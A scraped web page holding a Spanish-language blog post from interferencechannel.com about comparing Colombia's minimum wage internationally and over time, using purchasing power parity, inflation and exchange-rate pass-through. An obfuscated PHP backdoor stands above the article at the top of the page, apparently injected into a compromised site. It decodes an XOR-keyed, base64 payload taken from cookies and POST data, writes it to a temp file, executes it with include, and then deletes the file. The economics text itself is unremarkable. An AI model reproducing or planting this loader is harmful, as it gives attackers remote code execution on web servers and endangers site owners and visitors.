$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Las comparaciones internacionales del Salario. – www.interferencechannel.com

Las comparaciones internacionales del Salario.




En días pasados se ha vuelto popular en redes sociales hacer comparaciones del salario mínimo en dólares para 2 propósitos. El primero de estos, para decir que el salario de nuestro país es muy bajo comparado con el de los otros países. El segundo, por su parte, busca desvirtuar que haya habido un aumento en el poder de compra de los colombianos que ganan el salario mínimo. En este texto, se busca exponer de manera simple los conceptos necesarios para realizar de forma adecuada las comparaciones que se han vuelto populares en redes. Por un lado, las comparaciones entre países deben tener en cuenta el concepto de paridad de poder adquisitivo, así como las comparaciones del salario mínimo con los salarios medio y mediano. Por otra parte, las comparaciones Inter temporales requieren tener en cuenta la inflación y el concepto de pass through del tipo de cambio. Por último, este texto no explora si el aumento del salario mínimo fue alto o fue bajo, pero recomienda leer el análisis hecho por ANIF.

Para comenzar, ha sido común ver en redes que el salario de Colombia es tremendamente bajo en comparación con los salarios mínimos de los demás países de la región. Sin embargo, esta comparación esconde varios errores. En primer lugar, de forma correcta, llevan todos los salarios a una misma moneda que permita hacer la comparación, en este caso, el dólar estadounidense. No obstante, aunque la tasa de cambio es sumamente importante, esta no estima el poder de compra de un habitante de un país en su mismo país. En este sentido, la paridad de poder adquisitivo reconoce que las cosas no son igual de costosas en todos lados. Por ejemplo, revisando la base de datos de tasa de cambio con paridad de poder adquisitivo de la OCDE y el Banco Mundial, es posible notar que, aunque la tasa de cambio nominal del peso colombiano al dólar rosa los $4.000 COP, cuando se tiene en cuenta la paridad de poder adquisitivo está es de $1.352 COP.

Esto significa que una persona en Estados Unidos puede comprar con un dólar aproximadamente lo mismo que puede comprar una persona con $1.352 pesos en Colombia. Claramente si un estadounidense viaja a Colombia y cambia sus dólares tendrá $4.000 pesos por cada dólar para gastar en Colombia, pero esa persona extranjera no tardará en darse cuenta de que las cosas aquí le resultan más baratas en comparación a lo que le resultarían en su país. Lo mismo pasa en todos los demás países, las cosas que pueden comprar las personas en el lugar A con el dinero del lugar A pueden resultar más caras o baratas que comprarlas en otro lugar B con el dinero de este lugar B. Este costo de vida ya incorpora todo aquello de la canasta básica de cada país, sea importado o no. De hecho, aunque se venda la idea de que Colombia es un país que importa todo, este es aún muy cerrado, en especial en productos agrícolas. Incluso, cerrarlo más hace que aumente la probabilidad de que los precios suban (OCDE, 2015; DNP, 2015; Arbeláez et al, 2019; The Economist, 2020).

En este sentido, a continuación, se muestran 3 gráficas que dan luces sobre esta comparación. Las dos primeras son una construcción propia que busca comparar los salarios actuales entre países, primero en dólares normales (como se hace en redes) y luego teniendo en cuenta la paridad de poder adquisitivo. Posteriormente, en la tercera gráfica se muestra la misma idea, pero esta imagen se obtiene del informe de la Organización Internacional del Trabajo, con datos para 2019.

Gráfico 1


Gráfico 2


Gráfico 3

Como se puede ver, aunque el salario de Colombia no es destacado, ni más alto que el de los demás países, tampoco es escandalosamente bajo como lo han pintado en redes. Aunque el salario mínimo equivalga a $250 dólares aproximadamente al cambiar la moneda, es posible notar, con paridad de poder adquisitivo, que una persona puede comprar en Colombia con el mínimo de $1.000.000 de pesos, aproximadamente lo mismo que puede comprar alguien en Estados Unidos con poco más de $700 dólares. Viendo la tabla de la OIT en 2019 el salario mínimo equivalía a $252 dólares, pero su poder de compra en Colombia era equivalente a un poder de compra de $602 dólares en Estados Unidos (que serían a precios de 2021 aproximadamente $636 dólares, al tener en cuenta el concepto de inflación).

Por otra parte, es importante tener en cuenta la comparación entre el salario mínimo y el salario medio y mediano, como se ve en la siguiente gráfica. Por un lado, el salario medio hace referencia al promedio de los salarios que tienen las personas en el país. Por su parte, el salario mediano hace referencia a que se ordenen los salarios de los colombianos de menor a mayor y se tome justo el de la mitad, por lo que la mitad de los colombianos ganarían menos o lo mismo que eso, mientras la otra mitad de los colombianos ganarían lo mismo o más. Además, este análisis debe contemplar que en Colombia hay más personas que ganan salarios menores al salario mínimo que personas que ganan el mínimo. Por tanto, cuando se dice que el salario mínimo es alto, además de contemplar la baja productividad de los trabajadores colombianos, contempla que este realmente no es un mínimo en la práctica, sino que de hecho está casi en la mitad de la distribución, excluyendo por ley a muchísimos colombianos de contar con un trabajo formal y aspirar a una pensión (ANIF, 2021). Es evidente que la solución no puede ser bajarlo, hay que trabajar en estrategias para reducir las rigideces del mercado laboral y aumentar la productividad y la formalización, pero subir mucho el salario mínimo y mantener el marco laboral actual puede complicar bastante esta tarea.

Gr´áfica 4


Gráfica 5

Ahora bien, saliendo de la comparación entre países y comparando a Colombia consigo misma a través del tiempo es posible notar un aumento en el valor real del salario mínimo. Por un lado, aunque parece obvio, las comparaciones en redes ignoran que la moneda que acá se utiliza es el peso colombiano y no el dólar. Esto lo hacen bajo el confuso argumento de que el costo de vida incrementa directamente con la tasa de cambio. Sin duda alguna la depreciación del peso colombiano tiene impactos en el costo de vida, pero esto no es una relación directa como se pinta. De hecho, los estudios de Sara Echeverri (2020) y Rincón et al (2021) muestran que el choque en la tasa de cambio no pega tan fuerte al poder adquisitivo de los colombianos, ni aumenta los precios de los alimentos en la misma magnitud que aumenta el precio del dólar. Esto se conoce como que el efecto pass-through del tipo de cambio es bajo, que, en otras palabras, quiere decir que los aumentos en el precio del dólar se transfieren poco a los aumentos en inflación. De hecho, la inflación que se reporta ya contempla los efectos que genera la depreciación del peso en el costo de vida de los colombianos, sin que esto signifique que no sea indeseable en muchos aspectos un precio tan alto del dólar.

En este sentido, resulta relevante recordar el concepto de inflación. De forma general, se refiere a los cambios en los precios en un determinado periodo de tiempo. Hay muchas formas de calcular la inflación, pero generalmente se hace uso del índice de Precios al Consumidor, pues este mide la evolución del costo promedio de una canasta de bienes y servicios representativa del consumo final de los hogares. Teniendo esto en cuenta, es claro que con $x pesos se podía comprar más cosas antes que lo que se puede comprar ahora con los mismos $x pesos, es decir que, la plata pierde su valor con el paso del tiempo. Con esto en mente, y los conceptos antes vistos de paridad de poder adquisitivo es posible analizar correctamente la siguiente imagen que se ha hecho viral en redes.

Imagen 1

Por un lado, con $535.600 pesos se podían comprar más cosas en 2011 que lo que se puede comprar hoy, ya ese dinero no alcanza para lo mismo. Pero, al tener en cuenta el efecto de la inflación en el tiempo es posible decir que el salario de $535.600 sería equivalente a que el salario del 2021 hubiera sido de $769.198 pesos. Esto muestra que, del 2011 al 2021, el poder adquisitivo de las personas sí aumentó, pero claramente este aumento no ha sido de $373.926 pesos (que es el aumento nominal del salario), sino un aumento real de $139.328 pesos (algo así como $14.000 pesos más cada año en promedio).

Por otro lado, la comparación en dólares no es correcta para medir dos momentos en el tiempo en un mismo país, pero puede ser útil para comparar el salario internacionalmente. Sin embargo, es importante tener en cuenta nuevamente el concepto de paridad de poder adquisitivo. Teniendo en cuenta este efecto en la tasa de cambio, en 2011 un colombiano que ganara el mínimo podía comprar en Colombia algo equivalente a lo que alguien podía comprar en Estados Unidos con $454 dólares. No obstante, $454 dólares alcanzaban para más en 2011, por lo que para comprar lo mismo en 2021 en Estados Unidos se requieren $540 dólares. Por otro lado, a inicios de este año el salario del 2021 equivaldría a lo que significaba tener $672 dólares en Estados Unidos. Es decir que, el poder adquisitivo del salario mínimo del 2011 es comparable con el poder de compra que otorgan en 2021 $540 dólares en Estados Unidos, mientras que el salario del 2021 es equivalente al poder de compra que otorgan $672 dólares al mes en Estados Unidos. Es importante aclarar que, así como aquí el mínimo no alcanza para mucho, $600 o $700 dólares también son muy poco para el nivel de vida estadounidense y están muy por debajo del salario mínimo de allá. No obstante, aunque es cierto que los colombianos podemos comprar menos cosas en Estados Unidos (y en general en el extranjero) por la depreciación del peso, es falso que el salario mínimo alcance para comprar menos cosas en nuestro propio país.

En conclusión, las comparaciones del salario mínimo son ilustrativas y útiles, pero no son tan triviales como parecen. Con lo mostrado anteriormente es posible notar que el poder adquisitivo del salario mínimo colombiano sí es bajo, pero al compararlo con otros países similares no se cuenta con un salario mucho menor, por lo que, aunque no se destaca como un salario alto, tampoco es un salario bajo internacionalmente, sino que es bastante promedio. No obstante, en la comparación internacional también es relevante ver que somos uno de los países donde el salario mínimo es más cercano al valor del salario medio y mediano, por lo que en la práctica el papel de este salario dista bastante de ser un mínimo y en cambio excluye a muchas personas de poder formalizarse y acceder a una pensión, pues la cantidad de personas que gana menos del mínimo es muy alta. Esto último, sumado a la baja productividad laboral colombiana, ha llevado a que muchos expertos indiquen que el salario mínimo en Colombia es alto. Para terminar, se debe desmentir que el salario mínimo no haya aumentado su poder adquisitivo con el tiempo, ya que la inflación incorpora los efectos en los precios de la tasa de cambio, pues el poder de compra de las personas no depende en una proporción exacta al valor del dólar. En consecuencia, comprender bien estas comparaciones internacionales e inter temporales resulta de enorme importancia para dar una discusión informada sobre el salario mínimo en el debate público.

—————————————

Referencias:

ANIF. (2021). No es el momento para poner en peligro la recuperación del empleo. Comentario Económico del Día.

Arbeláez, M., Higuera, S., Steiner, R., & Zuluaga, S. (2019). Protecting “sensitive” agricultural products in Colombia: a political economy approach. Recuperado de: https://www.repository.fedesarrollo.org.co/bitstream/handle/11445/3846/Co_Eco_Junio-Diciembre_2018_Arbel%C3%A1ez_et_al.pdf?sequence=1&isAllowed=y

Banco de la República. (2021). Índice de Precios al Consumidor (IPC). Recuperado de: https://www.banrep.gov.co/es/estadisticas/indice-precios-consumidor-ipc

Banco Mundial. (2021). PPP Conversion factor. Recuperado de: https://data.worldbank.org/indicator/PA.NUS.PPP

DNP. (2015). Protección Comercial del sector Agropecuario en Colombia. Misión para la transformación del Campo.

Echeverri, S. (2020). Pass-through en Colombia: un análisis de la inflación desagregada. Recuperado de: https://repository.eafit.edu.co/handle/10784/17109

OCDE. (2015). OECD Review of agricultural policies: Colombia 2015. Recuperado de: https://www.minagricultura.gov.co/Reportes/Colombia_%20Agc_Review.pdf

OCDE. (2021). Paridades de poder adquisitivo. Recuperado de: https://www.oecd.org/centrodemexico/estadisticas/ppa.htm

OIT. (2021). Informe Mundial sobre los salarios 2020-2021. Los salarios y el salario mínimo en tiempos de la covid-19. Recuperado de: https://www.ilo.org/wcmsp5/groups/public/—dgreports/—dcomm/—publ/documents/publication/wcms_789973.pdf

Rincón, H., Rubiano, P., Yaya, L., & Zárate, H. (2021). Traspaso de la tasa de cambio a la inflación básica en Colombia: un análisis de parámetros cambiantes en el tiempo.

The Economist. (2020). The costs of Colombia´s closed economy. Recuperado de: https://www.economist.com/the-americas/2020/02/06/the-costs-of-colombias-closed-economy

Comments are closed.